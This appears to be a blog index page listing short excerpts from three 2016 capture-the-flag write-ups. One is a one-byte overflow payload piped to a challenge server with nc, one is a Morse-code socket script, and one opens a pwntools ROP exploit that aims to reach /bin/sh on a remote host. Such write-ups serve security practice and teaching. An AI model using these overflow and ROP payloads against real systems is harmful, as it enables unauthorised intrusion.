Mr.BIN Universe

[Wargame] CERTIS ultrababy

Ultrababy 1바이트 오버플로우 문제 (python -c `print "A"*24 + "\xf3"`) | nc kimtae.xyz 10007

Posted by MrBIN on November 14, 2016

[Wargame] CERTIS Crypto Chall100

Crypto Chall100 모스 부호 받으면 해독하는 문제 import socket import sys from time import * CODE = {'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', 'F': '..-.', 'G': '--.', ...

Posted by MrBIN on November 14, 2016

[Wargame] Plaid CTF ropasaurusrex

Ropasaurusrex rop 정석 문제 from pwn import * from time import * s = remote("52.79.124.141",44444) read_plt = 0x804832c write_plt = 0x804830c read_got = 0x0804961c pppr = 0x80484b6 bin_sh = "/...

Posted by MrBIN on November 5, 2016